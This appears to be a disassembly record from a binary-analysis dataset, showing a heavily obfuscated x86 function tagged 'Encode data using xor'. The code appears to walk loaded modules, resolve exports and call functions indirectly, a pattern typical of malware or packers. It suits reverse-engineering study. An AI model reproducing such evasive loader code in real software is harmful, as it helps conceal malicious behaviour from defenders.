Function at 0x53d464
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0
xor ecx, ebx
xchg eax, ecx
mov ecx, 0
xor ecx, eax
sub esp, 4
mov edx, esp
mov dword [edx], ecx
xor eax, eax
add eax, esi
mov ebx, 0x6b558e4
mov ecx, 0xf94aa718
xor ebx, ecx
add esp, ebx
mov dword [esp], eax
push edi
pop esi
xchg ecx, esi
push 0x71860747
mov edx, 0x71860743
pop esi
xor edx, esi
sub esp, edx
mov dword [esp], ecx
push 0x724a54e3
mov eax, 0x9a64c15
pop edx
xor eax, edx
push eax
mov edx, 0x33d7e5e2
mov ebx, 0x483bfd1c
xor ebx, edx
mov ecx, dword [esp]
add esp, 4
xor ebx, ecx
mov esi, 0x5e65af4
mov edi, 0x382bb47c
xor edi, esi
mov eax, 0xc2321188
add edi, eax
xor ebx, edi
mov eax, dword fs:[ebx]
mov ecx, 0x6c1234fe
mov ebx, 0x6a0093bb
xor ebx, ecx
mov edi, ebx
xor edi, 0xffffffff
and edi, 0x612a775
and ebx, 0xf9ed588a
or ebx, edi
add eax, ebx
mov ecx, eax
push ecx
pop ebx
mov ecx, 0x6ed49bcf
xor ecx, 0x912b6473
add ebx, ecx
mov esi, 0x73c66a74
add esi, 0x8c39958b
add ebx, esi
mov edx, dword [ebx + 0x45]
push 0x482643ec
mov ecx, 0x12c63da8
pop ebx
xor ecx, ebx
mov esi, 0x139a8968
mov eax, 0xb68508d8
xor eax, esi
xor ecx, eax
sub edx, ecx
mov ebx, edx
xchg eax, ebx
xchg edi, eax
mov ebx, 0x78744bf1
mov eax, 0x878bb47d
xor eax, ebx
add edi, eax
mov ecx, 0
mov eax, 1
xor ecx, eax
sub edi, ecx
mov esi, dword [edi + 0x75]
push 0x4fcf9b5b
mov edi, 0x4aa95f2f
pop eax
xor edi, eax
mov eax, 0x4152ecac
xor edi, eax
xor edi, 0x443428d4
add esi, edi
xor edi, edi
add edi, esi
mov ecx, edi
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], ecx
pop ebx
mov edi, ebx
xchg edi, edx
xchg edx, esi
mov edi, 0x62ea228b
xor edi, 0x9d15dd77
add esp, edi
mov dword [esp], esi
mov eax, ebx
mov esi, 0xae75564
mov edx, 0xf518aac1
xor edx, esi
add eax, edx
mov ecx, dword [eax + 0x5b]
mov edx, ecx
mov eax, edx
push eax
pop edi
mov esi, 0x50284c0c
xor esi, 0xafd7b385
add edi, esi
mov edx, 0xffffffff
add edi, edx
mov ebx, dword [edi + 0x78]
mov esi, 0x55201911
mov eax, 0xa0e8002
xor esi, eax
add esi, 0xaa655056
add esi, 0xf66c166b
sub ebx, esi
xor esi, esi
add esi, ebx
mov edx, 0x22ccaeb2
add edx, 0xdd33514f
sub esi, edx
mov ecx, dword [esi + 1]
and ecx, 0xffff
xor ecx, 0x18
cmp ecx, 0
jne 0x53d8da
mov eax, 0x68104c4
mov edi, 0x3f7dfc5c
xor edi, eax
mov eax, 0xc6030764
add edi, eax
sub ebx, edi
mov esi, 0
xor esi, ebx
mov ecx, esi
mov eax, ecx
mov edx, 0xf0ad0f5
xor edx, 0xf0f52f15
add eax, edx
push 0x1395d962
mov edx, 0x1395d963
pop ecx
xor edx, ecx
sub eax, edx
mov edi, dword [eax + 0x21]
sub eax, eax
add eax, edi
mov ecx, 4
sub esp, ecx
push esp
pop ebx
mov dword [ebx], eax
mov edx, edi
mov esi, 0x76c9f55c
xor esi, 0x89360aa3
add edx, esi
mov ecx, dword [edx + 1]
and ecx, 0xff
mov eax, 0x1980000
mov esi, 0x1e604969
xor eax, esi
mov ebx, 0x583ec1a0
xor eax, ebx
xor eax, 0x18249cb
xor ecx, eax
mov esi, 0x4d6d39ca
xor esi, 0xb29f8a3
xor ecx, esi
mov esi, ecx
and esi, esi
je 0x53d71a
mov eax, 0x6193f6ff
add eax, 0x9e6c0901
xor eax, ecx
xor edx, edx
add edx, eax
mov ebx, 0xfb5025ce
xor edx, ebx
xor edx, 0x4afda31
and edx, 0xffffffff
and eax, 0
or eax, edx
and eax, 0x20
and ecx, 0xffffffdf
or ecx, eax
mov eax, 0
xor eax, ecx
xchg esi, eax
push esi
pop ebx
mov edi, 0
xor edi, ebx
and edi, ecx
jne 0x53d8af
mov eax, 0
xor eax, esp
mov ebx, 0xffffffb6
sub eax, ebx
mov edx, dword [eax - 0x4a]
mov esi, 0x192e9a20
mov eax, 0xe6d165dc
xor esi, eax
sub esp, esi
mov eax, 0x4921e9e5
add eax, 0x2bac6f89
mov esi, 0xbaf7d4aa
xor eax, esi
xor eax, 0x31c6723e
sub edx, eax
mov esi, edx
mov edi, esi
xchg eax, edi
mov edi, 0x7c9355a0
mov esi, 0x836caa5c
xor edi, esi
add esp, edi
mov dword [esp], eax
mov esi, edx
mov ecx, esi
xchg ecx, eax
dec eax
mov ebx, dword [eax + 1]
and ebx, 0xff
mov eax, 0x51390888
mov ecx, 0x24868302
xor eax, ecx
mov esi, 0x3bf52501
sub eax, esi
xor ebx, eax
mov ecx, 0x2f225dcf
xor ecx, 0x16e83b08
xor ebx, ecx
push ebx
pop ecx
mov esi, ecx
sub esp, 4
mov dword [esp], esi
mov eax, dword [esp]
mov edi, 0xfffffffc
sub esp, edi
and eax, ebx
je 0x53d7ff
mov ecx, ebx
push ecx
mov eax, dword [esp]
sub esp, 0xfffffffc
mov edx, eax
mov ecx, 0x97e70f1e
xor edx, ecx
xor edx, 0x6818f0e1
and edx, 0xffffffff
and eax, 0
or eax, edx
and eax, 0x20
and ebx, 0xffffffdf
or ebx, eax
mov esi, ebx
add esi, 0
jne 0x53d8af
mov esi, dword [esp]
mov eax, 0x4549124
xor eax, 0xfbab6ed8
sub esp, eax
mov eax, 0x50a38242
mov ebx, 0x28041800
xor eax, ebx
push eax
push 0x4514e69e
mov edi, 0x3db37cda
pop eax
xor edi, eax
pop edx
xor edi, edx
add esi, edi
mov ecx, esi
push ecx
pop ebx
push 0x7f31dd75
mov eax, 0x7f31dd74
pop ecx
xor eax, ecx
sub ebx, eax
mov edi, dword [ebx + 1]
mov eax, 0x360718a8
add eax, 0xec4225d9
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1e23dcf0
and eax, 0xe1dc230f
or eax, edx
xor edi, eax
xor ebx, ebx
add ebx, edi
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0xffffffff
and ebx, 0
or ebx, ecx
and ebx, 0x3c58e242
and edi, 0xc3a71dbd
or edi, ebx
mov esi, edi
xchg edx, esi
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], edx
pop ecx
or ecx, edi
je 0x53d915
jmp 0x53d8da
mov esi, 0
xor esi, esp
mov edi, 0xfffffff3
add esi, edi
mov edi, 0xffffffff
add esi, edi
mov eax, dword [esi + 0xe]
push 0x9dabaa27
mov edi, 0x625455db
pop ebx
xor edi, ebx
sub esp, edi
mov ecx, esp
sub ecx, 1
mov ebx, dword [ecx + 1]
mov esi, 0x5d51d423
add esi, 0xa2ae2be1
add esp, esi
push ebx
pop eax
xor edx, edx
add edx, eax
mov esi, 0x34b7dd8c
add esi, 0xcb482297
add edx, esi
mov edi, dword [edx - 0x23]
mov edx, edi
xchg edx, eax
push eax
pop ecx
mov ebx, ecx
push ebx
jmp 0x53d59c
pop esi
sub edi, edi
add edi, esi
mov eax, 0xd2600eb
add eax, 0xf2d9ff2b
sub edi, eax
mov ebx, 0x504a1736
xor ebx, 0xafb5e8c9
add edi, ebx
mov edx, dword [edi + 0x17]
sub edi, edi
add edi, edx
mov eax, 2
mov ebx, 0x29
xor eax, ebx
add edi, eax
mov esi, dword [edi - 0x2b]
mov eax, 0xc
mov ebx, 1
xor eax, ebx
add esi, eax
push 0x8f1a9006
mov ecx, 0x70e56ff3
pop eax
xor ecx, eax
sub esi, ecx
mov edi, 0
mov eax, 0
xor edi, eax
xor edi, esi
mov ebx, 0x32d407ea
mov eax, 0xcd2bf829
xor eax, ebx
sub edi, eax
push 0x218fdc62
mov ebx, 0x218fdc63
pop eax
xor ebx, eax
sub edi, ebx
mov edx, dword [edi - 0x3c]
push 0xa806e33c
mov edi, 0x57f91cc0
pop eax
xor edi, eax
add esp, edi
xor esi, esi
add esi, esp
xchg ebx, esi
mov dword [ebx], edx
sub ebx, ebx
add ebx, edx
mov ecx, 0x18003093
add ecx, 0x63b01e90
mov esi, 0x844fb0e7
xor ecx, esi
sub ebx, ecx
mov edi, ebx
push edi
mov ecx, dword [esp]
add esp, 4
mov edx, 0xdb68608
mov edi, 0xf2497997
xor edx, edi
add ecx, edx
dec ecx
mov esi, dword [ecx + 0x62]
sub ecx, ecx
add ecx, esp
mov eax, 0x4e7a980e
add eax, 0xb18567e8
add ecx, eax
push 0x13f6e1da
mov edi, 0x13f6e1db
pop eax
xor edi, eax
sub ecx, edi
mov ebx, dword [ecx + 0xb]
add esi, ebx
mov edi, 0x211cafb3
xor edi, 0x211cafeb
mov ebx, 0x176d62c1
mov eax, 0x176d62e1
xor eax, ebx
xor edi, eax
add esi, edi
xor edi, edi
add edi, esi
mov eax, edi
mov ebx, eax
mov edx, 0x7f4eac56
mov ecx, 0x7f4eac35
xor ecx, edx
sub ebx, ecx
mov esi, dword [ebx + 0x63]
mov edx, esp
mov edi, 0x1b696ddf
add edi, 0xe4969222
sub edx, edi
mov ecx, dword [edx + 1]
add esi, ecx
push 0xcafbc652
mov edx, 0x2a769129
pop ebx
xor edx, ebx
push edx
mov ebx, 0x7119921a
mov edi, 0x6e6b3a81
xor edi, ebx
mov eax, dword [esp]
add esp, 4
xor edi, eax
sub esi, edi
mov eax, 0x7dc82b0f
add eax, 0xe7162619
add eax, 0xeff7a5e9
add eax, 0xdaf90819
mov ebx, 0x2b7be26b
xor ebx, 0xfb4ae2b9
add eax, ebx
add eax, esi
mov edx, 0x6484c8b6
xor edx, 0x6484c8b6
xor edx, eax
mov edi, 0x2cf3a9e6
xor edi, 0xd30c5619
add edx, edi
mov eax, dword [edx + 1]
mov edx, 0
xor edx, esp
xor ebx, ebx
add ebx, edx
mov edi, 0x525b7f31
mov edx, 0x525b7f0e
xor edx, edi
add ebx, edx
mov ecx, dword [ebx - 0x3f]
add eax, ecx
push eax
pop edi
xchg edi, edx
mov ecx, edx
xchg ecx, ebx
mov ecx, 4
sub esp, ecx
mov dword [esp], ebx
mov edi, 0x3b01fbe2
xor edi, 0x2c104768
add esp, 0xfffffffc
mov dword [esp], edi
mov ecx, 0x110a80a
mov edi, 0x16011484
xor ecx, edi
pop edx
xor ecx, edx
mov ebx, 0x2060a002
mov edi, 0x100206c4
xor ebx, edi
mov edx, 0x456f03e8
xor ebx, edx
xor ebx, 0x750da52e
xor ecx, ebx
add ecx, esi
mov ebx, 0
xor ebx, ecx
xchg edi, ebx
mov edx, 0xfffffffa
sub edi, edx
mov edx, 4
add edi, edx
mov edx, 1
mov eax, 0
xor edx, eax
sub edi, edx
mov ecx, dword [edi - 9]
mov ebx, dword [esp + 4]
add ecx, ebx
mov edi, 0x66e172ad
xor edi, 0x991e8d51
add esp, edi
mov ebx, esp
push ebx
pop edx
mov dword [edx], ecx
mov edi, 0
xor edi, esi
xchg edi, eax
mov edi, 0x4afeb12b
xor edi, 0x4afeb12a
sub eax, edi
mov esi, dword [eax + 1]
mov eax, dword [esp + 8]
add esi, eax
xor edx, edx
add edx, esi
mov ecx, 0xffffffff
add edx, ecx
mov ebx, dword [edx + 1]
mov edi, dword [esp + 8]
add ebx, edi
mov edi, 0x2d8a9530
xor edi, 0x38754579
mov eax, 0x15ffd04c
xor edi, eax
add ebx, edi
mov eax, ebx
mov edx, eax
mov eax, edx
xchg edi, eax
mov eax, 0x5579cbf9
mov edx, 0x5579cbbe
xor edx, eax
sub edi, edx
mov ecx, 0x22824e00
mov edx, 0x22824e01
xor edx, ecx
sub edi, edx
mov ebx, dword [edi + 0x48]
mov edi, 0x3f733807
xor edi, 0x1bc03b6d
add esp, 0xfffffffc
mov dword [esp], edi
mov ecx, 0x5ec78e9c
add ecx, 0xe80494bb
pop edx
xor ecx, edx
xor ebx, ecx
mov edx, 0x11120d00
mov eax, 0x841280
xor edx, eax
xor ebx, edx
mov edi, ebx
xor edi, 0xffffffff
and edi, 0x17a85cd2
and ebx, 0xe857a32d
or ebx, edi
push ebx
pop ecx
mov eax, ecx
add esp, 0xfffffffc
mov dword [esp], eax
mov eax, esp
add eax, 0xffffffba
dec eax
mov edi, dword [eax + 0x47]
mov eax, 4
add esp, eax
xor edi, 0
je 0x53dcb9
mov edx, 0x38773e7a
mov edi, 0x1fd7e50b
xor edi, edx
mov ecx, 0x48452481
mov edx, 0x901a000c
xor ecx, edx
xor ecx, edi
sub esi, ecx
pop eax
mov ecx, 0
mov edx, 0
xor ecx, edx
mov edi, 0x519650ec
add edi, 0xae69af16
xor ecx, edi
add eax, ecx
mov ecx, 0x783f8e73
mov edi, 0x783f8e77
xor edi, ecx
sub esp, edi
mov ecx, 0x7877399f
mov ebx, 0x7877399f
xor ebx, ecx
xor ebx, esp
mov dword [ebx], eax
jmp 0x53db99
pop ecx
mov ebx, 0x28d5085c
add ebx, 0xd72af7a4
xor ebx, ecx
mov edx, 0x5d45317d
xor edx, 0xa2bacec3
add ebx, edx
mov ecx, dword [ebx + 0x42]
and ecx, 0xffff
add ecx, ecx
xor esi, esi
add esi, ecx
xchg edx, esi
add ecx, edx
mov edi, 0
xor edi, esp
mov edx, 0xffffffa5
sub edi, edx
dec edi
mov eax, dword [edi - 0x5a]
mov edx, 0x2e2e8
mov ebx, 0x2e2ec
xor ebx, edx
add esp, ebx
add eax, ecx
mov edi, eax
push edi
mov ecx, dword [esp]
add esp, 4
mov ebx, 1
sub ecx, ebx
mov eax, dword [ecx + 1]
pop edi
add eax, edi
mov esi, eax
mov ecx, esi
push ecx
pop edx
mov esi, 0x77482df4
mov ecx, 0x88b7d208
xor ecx, esi
add esp, ecx
mov dword [esp], edx
mov edx, 0x5dbd7fab
xor edx, 0x9318a5ab
push edx
push 0x4239accd
mov ebx, 0x340deac
pop ecx
xor ebx, ecx
push ebx
mov ecx, 0x2200690c
mov ebx, 0x50620040
xor ecx, ebx
push ecx
push 0x38099e35
mov esi, 0x5c68f179
pop ebx
xor esi, ebx
push esi
mov ebx, esp
mov edx, ebx
xchg ecx, edx
mov ebx, 0x24ed3e38
mov edx, 0x24ed3e3c
xor edx, ebx
sub esp, edx
mov dword [esp], ecx
mov ecx, edi
push ecx
pop ebx
mov edx, 0x629ad9f
xor edx, 0xf9d65263
add esp, edx
mov dword [esp], ebx
call eax
push 0x7edc4ca5
mov edi, 0x48d3a919
pop ebx
xor edi, ebx
mov ebx, 0xc9f01a54
add edi, ebx
add esp, edi
mov edx, 0x3b8e7083
add edx, 0xc4718f79
add esp, edx
sub ecx, ecx
add ecx, esp
mov dword [ecx], eax
call fcn.0053e271
mov esi, 0x286cf59b
xor esi, 0xeb73451e
push esi
mov ecx, 0xc200e33
mov esi, 0x30c04148
xor ecx, esi
pop edx
xor ecx, edx
sub ebx, ecx
mov edi, ebx
push edi
pop ecx
mov edx, 0
mov esi, 4
xor edx, esi
sub esp, edx
mov dword [esp], ecx
mov ecx, 0x1c3f26a
xor ecx, 0xc0b12b6a
push ecx
mov ecx, 0x1b5965ad
xor ecx, 0x783609c1
sub esp, 4
mov dword [esp], ecx
mov ecx, 0x416c6077
add ecx, 0xfe
push ecx
mov ecx, 0x330ec720
xor ecx, 0x477cae76
push ecx
mov ecx, 0x3e6824cc
xor ecx, 0xcacdefcc
push ecx
mov ecx, 0x5278e3dc
xor ecx, 0x604b8fb9
push ecx
push 0x438bec2e
mov ecx, 0x2df98965
pop ebx
xor ecx, ebx
push ecx
mov esi, dword [esp + 0x20]
mov edi, esp
mov ebx, 0x7c136ccf
add ebx, 0x83ec9335
sub esp, ebx
mov dword [esp], edi
call esi
mov edi, 0x5c5c1cd9
mov esi, 0x386128a9
xor esi, edi
push 0xbf1420ce
mov edx, 0x24d6eb4a
pop edi
xor edx, edi
xor esi, edx
sub esp, esi
sub ebx, ebx
add ebx, esp
mov ecx, 4
mov edx, 0
xor ecx, edx
sub esp, ecx
mov dword [esp], ebx
mov ecx, 0
xor ecx, eax
xchg ebx, ecx
mov ecx, 0x4d199c5d
add ecx, 0xb2e6639f
add esp, ecx
mov dword [esp], ebx
mov ecx, dword [esp + 0x20]
call ecx
mov ebx, 0x7ba0a348
xor ebx, 0x6b71a09
add ebx, 0xa4ae612b
add ebx, 0xde39e584
sub esp, ebx
push 0x30758195
mov ebx, 0x307581d5
pop ecx
xor ebx, ecx
push ebx
push 0x6b536a2c
mov ebx, 0x6b537a2c
pop ecx
xor ebx, ecx
push ebx
mov ecx, 0x1fcd9
add ecx, 0x54
push ecx
mov edi, 0x694caab3
xor edi, 0x694caab3
add esp, 0xfffffffc
mov dword [esp], edi
call eax
mov ecx, 0
xor ecx, esp
mov edx, 0x3b
add ecx, edx
mov ebx, dword [ecx - 0x3b]
mov ecx, 0
mov edx, 4
xor ecx, edx
add esp, ecx
mov edx, eax
mov esi, 0x24fd55d3
xor esi, 0xdb02aa2f
add esp, esi
mov edi, esp
xchg ecx, edi
xchg eax, ecx
mov dword [eax], edx
mov eax, ebx
push eax
pop edi
push 0x3b20f011
mov esi, 0x3b20f015
pop eax
xor esi, eax
sub esp, esi
mov dword [esp], edi
mov esi, 0x6286f059
add esi, 0xa99b01aa
mov edi, esi
xor edi, 0xffffffff
and edi, 0xc21f303
and esi, 0xf3de0cfc
or esi, edi
add ebx, esi
mov esi, 0x1cd007e0
xor esi, 0x1cd1fac3
push esi
mov cl, byte [ebx]
mov byte [edx], cl
mov edi, 0x25306e71
add edi, 0x2eb3e140
mov ecx, 0xac1bb050
add edi, ecx
add ebx, edi
mov edi, 0x52d91808
xor edi, 0x7738c508
push edi
mov esi, 0x4811d01
mov edi, 0x2160c000
xor esi, edi
mov ecx, dword [esp]
sub esp, 0xfffffffc
xor esi, ecx
add edx, esi
pop ecx
mov esi, 0x53c13f2c
mov edi, 0xac3ec0d3
xor esi, edi
add ecx, esi
mov edi, 0x4130549f
xor edi, 0xbecfab63
add esp, edi
mov eax, esp
push eax
mov esi, dword [esp]
add esp, 4
mov dword [esi], ecx
mov eax, ecx
push eax
mov edi, dword [esp]
add esp, 4
xchg edi, esi
or esi, 0
jne 0x53dfb5
mov edx, dword [esp]
mov esi, 0
mov ecx, 4
xor esi, ecx
add esp, esi
mov edi, 0xc200182
mov ebx, 0x20848054
xor edi, ebx
push edi
mov eax, 0x73e2732d
add eax, 0x989e01c7
mov ebx, 0x3b8da8d4
add ebx, 0xe4975f2d
xor eax, ebx
pop ecx
xor eax, ecx
pop edx
pop esi
mov ebx, 0x61d34026
mov edi, 0x56eb25d1
xor edi, ebx
mov ebx, 0x373668d5
sub edi, ebx
add esi, edi
mov ebx, 0x9d0bb55
xor ebx, 0x9d0bb51
sub esp, ebx
mov edi, esp
mov dword [edi], eax
mov edi, edx
xchg edi, ecx
mov ebx, 0
xor ebx, ecx
mov ecx, 0
mov edi, 4
xor ecx, edi
sub esp, ecx
mov dword [esp], ebx
mov ebx, 0
sub esp, ebx
add esp, 0
add esp, 0xfffffffc
mov ebx, 0
xor ebx, esp
xchg ebx, edi
mov dword [edi], esi
sub eax, eax
mov al, byte [esi]
add edx, eax
mov al, byte [edx]
mov ebx, esp
mov ecx, ebx
mov ebx, 0xfffffffa
sub ecx, ebx
dec ecx
mov esi, dword [ecx - 5]
mov ebx, 0x2e56f2c1
mov edi, 0x2e56f2c5
xor edi, ebx
add esp, edi
push esp
pop ebx
mov ecx, 0x5a
sub ebx, ecx
mov ecx, 1
sub ebx, ecx
mov edx, dword [ebx + 0x5b]
mov edi, 0x3fc524e5
add edi, 0xc03adb1f
add esp, edi
mov byte [esi], al
mov ebx, 0x714b78e6
mov edi, 0x25bedd7
xor edi, ebx
mov ecx, 0x8cef6ad0
add edi, ecx
sub esi, edi
mov ebx, esp
mov edi, ebx
mov ebx, 0xe
add edi, ebx
mov eax, dword [edi - 0xe]
push 0xce1b5e05
mov ecx, 0x31e4a1f9
pop ebx
xor ecx, ebx
sub esp, ecx
mov ebx, 0x5bb494f5
add ebx, 0x7f
push ebx
push 0x405977cc
mov edi, 0x1bede2b9
pop ebx
xor edi, ebx
mov ecx, dword [esp]
sub esp, 0xfffffffc
xor edi, ecx
sub eax, edi
sub edi, edi
add edi, eax
sub edi, 0
jne 0x53e084
mov eax, 0x734dc2a3
mov edi, 0x2294b15b
xor edi, eax
mov ecx, 0x51d973f9
xor edi, ecx
add esi, edi
mov edi, 0
mov ecx, 4
xor edi, ecx
sub esp, edi
mov ebx, esp
xchg edx, ebx
xchg edx, eax
mov dword [eax], esi
push esp
pop ecx
mov edx, 0xffffffff
add ecx, edx
mov eax, dword [ecx + 1]
mov ecx, 4
mov edx, 0
xor ecx, edx
add esp, ecx
call eax
mov eax, 0x2ae9c1af
add eax, 0x80
push eax
mov ecx, 0x19c616d0
mov eax, 0x60206121
xor ecx, eax
mov edx, dword [esp]
mov eax, 4
add esp, eax
xor ecx, edx
pop edi
mov edx, 0x6ad355b9
xor edx, 0x33ee85f5
push edx
mov edx, 0x79a39507
mov eax, 0x46b593db
xor eax, edx
pop ecx
xor eax, ecx
pop esi
mov ecx, 0x7b8568df
xor ecx, 0x41961fa6
mov edx, 0x42211680
xor ecx, edx
mov edx, 0x6321bb
mov eax, 0x550ba7a0
xor eax, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7ce02964
and eax, 0x831fd69b
or eax, edx
xor eax, ecx
pop ebx
lea esp, [esp + 4]
jmp dword [esp - 4]